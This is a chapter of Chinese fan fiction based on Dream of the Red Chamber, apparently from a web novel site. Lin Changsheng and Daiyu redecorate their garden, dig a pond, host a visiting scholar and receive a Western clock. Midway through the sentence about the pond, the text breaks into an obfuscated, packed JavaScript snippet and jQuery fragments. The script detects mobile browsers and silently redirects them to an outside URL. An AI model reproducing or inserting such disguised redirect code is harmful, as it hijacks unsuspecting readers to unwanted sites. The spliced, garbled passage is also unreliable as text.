15.芳园小筑

作品:《[红楼]潇湘竹韵

    三月廿一,谷雨。


    连绵多日的阴雨终于歇了,天色放晴,暖融融的日头照进林宅后院,长生一早便起来了,披了件薄夹袄,在园子里踱步。


    自沈砚来报信,说父亲已平安抵京、暂住驿站等候圣旨明发,他心头那块大石才算落了地。


    这几日朝中正忙着盐案收尾,林如海需在驿站待诏,不得归家,但人既已到了京城,便是天大的安稳。


    长生走着走着,停在那架秋千前。


    秋千修好已有十来日,黛玉倒是常来坐坐,可总显得心事重重,他清楚姐姐这是挂念父亲,也想让这宅子更有些生气,好教父亲回来时瞧着欢喜。


    正思量着,林忠提着一壶热水过来:“少爷起得早,姑娘那边传话,说今儿想移几盆兰草到廊下,问少爷觉得如何。”


    长生眼睛一亮:“这主意好。忠伯,你去花市瞧瞧,不拘兰草,有什么应季的花草,多买些回来,再寻些奇巧的盆景、山石,把园子好生装点装点。”


    林忠笑道:“老奴这就去办。只是这花草讲究搭配,是不是请个懂行的花匠来瞧瞧?”


    长生点头:“你去请。要手艺好的,价钱不论。”


    林忠应声去了。


    长生又往黛玉院里走,想与她商量园子的事,才到月洞门,便听见里头有说笑声,是黛玉在教香菱念诗。


    “……梨花院落溶溶月,柳絮池塘淡淡风。”黛玉的声音清清泠泠的,“这两句好,是晏同叔的《无题》,你记着写景不单要写得真,还要写出气象。这‘溶溶’、‘淡淡’,便是气象。”


    香菱怯怯地跟着念,声音细软。


    长生立在门外听了会儿,心里泛起暖意,姐姐肯教香菱念诗,肯打理花草,这便是渐渐从忧虑里走出来了,他转身悄悄退开,不愿打扰这片刻安宁。


    晌午时分,林忠请的花匠来了,是个五十来岁的老师傅,姓胡,在京中侍弄花草三十余年,很有些名气。


    胡师傅跟着长生在园中走了一圈,指着各处道:


    “这南墙根可种几丛湘妃竹,夏日遮阴,冬日也翠,东边那架蔷薇该修了,老枝太多,新花就少,西边可搭个葡萄架,下头摆石桌石凳,乘凉喝茶都好。至于这秋千旁……”


    胡师傅注意到千秋旁自栽的蔷薇,又说,“此物甚好,再移几株西府海棠来,海棠配秋千,最是雅致。”


    长生一一记下,又指着正房廊下:“这里想摆些盆景,四季常青的。”


    胡师傅点头:“这个容易,罗汉松、五针松、金弹子,都是好盆景,老朽家里正养着几盆,明日便送来。只是……”


    他犹豫了下,“老朽听说贵府老爷是江南人,想来喜欢些水景。这园中若凿个小池,引活水,养几尾锦鲤,再植些睡莲,岂不更妙?”


    长生心中一动。父亲确是爱水的,扬州老宅便有个小池,夏日里荷花开了,父亲常在那池边看书。只是凿池工程不小,怕是要费些时日。


    “先生这主意好,只是这引水……”


    “老朽识得专做水景的匠人,”胡师傅笑道,“林公子若有意,老朽可引荐。”


    长生当即应下,又交代林忠备好银两,一切听胡师傅安排。


    这边正说着,外头门房来报,说陈景行陈公子来了。


    长生往前厅去,见陈景行穿着一身半新不旧的青衫,手里提着个小包袱,神色间有几分喜气。


    “陈兄。”长生拱手。


    陈景行还礼,从包袱里取出个木匣:“前日蒙林公子指点文章,景行受益良多。今日特来道谢,这是家父从南边捎来的新茶,请公子品尝。”


    长生接过,让座奉茶。


    陈景行又道:“还有一桩事,是国子监下月要办文会,祭酒大人亲自点的题,是《盐政得失论》。景行想着,林公子对此素有见解,不知可否赐教一二?”


    长生心下了然。


    陈景行这是借请教之名,来探他口风。盐案虽了,余波未平,国子监此时出这题目,意味深长。


    “陈兄客气,”长生道,“不过是些粗浅见识,依我看来,盐政之弊,不在法,而在人。法再严,人若贪,便是虚设,反之,人若清,法即便疏,也能为民。”


    陈景行若有所思:“公子是说……吏治?”


    “正是。”长生点头,“盐商之所以敢贪,是因有官吏庇护,官吏之所以敢庇,是因有京中靠山。这层层勾结,才是症结所在。”


    “那依公子之见,该如何根治?”


    长生笑了笑:“这便不是我能妄议的了,自有圣上圣裁,朝堂诸公谋划。咱们做学子的,明理即可,不必多言。”


    陈景行会意,不再追问,转而说起闲话,两人又聊了会子文章,陈景行方起身告辞。


    送走陈景行,长生回到后院,见胡师傅已指挥着几个匠人开始移栽花木。


    罗汉松、金桂、玉兰,一株株往园中搬,黛玉也出来了,站在廊下看,眉眼间有淡淡的笑意。


    “姐姐觉得如何?”长生走过去。


    “很好,”黛玉轻声道,“这园子从前太素,添些花草,便活泛了。父亲回来见了,定会喜欢。”


    “等池子凿好了,再养几尾锦鲤,夏日看鱼,也是趣事。”


    黛玉点头,想起什么:“我方才见他们搬了盆西府海棠,说是摆秋千旁,那海棠我见过,花开时如云似霞,极美的。只是咱们院墙边那株老杏,今年花开得也好。”


    长生心里一动。姐姐提起杏花,是想扬州老宅了。


    “姐姐若喜欢杏花,明日让胡师傅移几株来。”他道,:“可否摆在海裳旁?”


    黛玉却摇头:“不必了,花草贵在适意,强求反而不美,那株老杏长在那儿是它的缘分,咱们赏它的花,念它的好,便够了。”


    长生默然,姐姐这话,是说花,也是说人,世事聚散,皆有缘法,强求不得。


    三日后,园子大致收拾停当了。


    新移的湘妃竹已生了新叶,风一过,沙沙作响。


    蔷薇架修得整齐,花苞累累,想来五月便能盛开,廊下摆了几盆罗汉松,姿态虬劲,衬着白墙黛瓦,格外清雅。


    最妙的是那小池,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895174|192023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    果然凿成了,引的是外头的活水,池底铺了青石,养了七尾锦鲤,红白相间,在清水中悠然游弋。


    池边植了几丛菖蒲,又移了两株睡莲,叶子才舒展开,嫩生生的。


    黛玉极爱这池子,每日要在池边坐许久,有时看鱼,有时看书,有时什么也不做,就静静看着水面倒影。


    这日,长生从外头回来,手里捧着个锦盒。他径直往后院去,见黛玉正坐在池边石凳上,香菱在一旁喂鱼。


    “姐姐。”长生走过去。


    黛玉回头,见他手里捧着东西,笑道:“又得了什么宝贝?”


    长生打开锦盒,里头是架黄铜镶珐琅的西洋自鸣钟,钟面莹白,镶着罗马数字,底下垂着鎏金摆锤,精巧可爱。


    “这是沈伯父今日送来的,说是西洋贡品,圣上赏了几架下来,他得了一架,转送给姐姐解闷。”


    黛玉接过,细细端详。


    那钟不过巴掌大小,却极精致,珐琅上绘着缠枝莲纹,中西合璧,别有风味。


    “倒是稀罕物。”黛玉轻声道,“只是太贵重了。”


    “沈伯父说,这是谢姐姐前日抄的经,”长生道,“姐姐为父亲祈福,抄了《金刚经》,沈伯父都送去云水庵了,父亲见了,很是欣慰。”


    黛玉眼圈微红,低头抚着那钟:“我不过是尽些心意,父亲在外辛苦,我做女儿的,不能分忧,只能如此。”


    “姐姐的心意,父亲都知道,”长生温声道,“等父亲回来,见姐姐身子好了,园子也收拾得齐整,定会欢喜的。”


    正说着,那自鸣钟“铛”地响了一声,黛玉吓了一跳,随即笑了:“这东西倒有趣。”


    “这是报时的,”长生指着钟面,“姐姐看,这短针指时辰,长针指刻,这摆锤一动,便走字,到整点便会响,一个时辰响一声,两个时辰响两声,以此类推。”


    黛玉仔细看着,果然见那摆锤轻轻摆动,长针随之移动,她素来喜爱精巧之物,这钟既新奇又雅致,很合她心意。


    “难为沈伯父想着。”她将钟小心收好,“香菱,去把我前日做的那个香囊拿来。”


    香菱应声去了,不多时取来个杏色绣缠枝莲的香囊,黛玉接过,递给长生:“这是我做的,里头装了白芷、丁香、佩兰,最是安神,你明日去沈府,替我谢谢沈伯父。”


    长生接过,香囊针脚细密,绣工精巧,一闻果然清香扑鼻,他知这是姐姐熬夜做的,郑重收好,讨好道“姐姐,我的呢?”


    林黛玉看了他一眼,笑道,:“你的还少吗?”


    姐弟二人又在池边坐了会儿,夕阳西下,将池水染成金红,锦鲤游到水面,唼喋有声。


    “长生,”黛玉道,“父亲何时能回来?”


    “快了,”长生望着天边晚霞,“圣旨已下,父亲升任户部右侍郎,这几日该是交接盐政,等交接完了,便能回府了。”


    黛玉点头,不再说话,两人静静坐着,看暮色一点点染红天际。


    晚风拂过,花草清香,园中新移的玉兰开了几朵,洁白如雪,在暮色中格外醒目。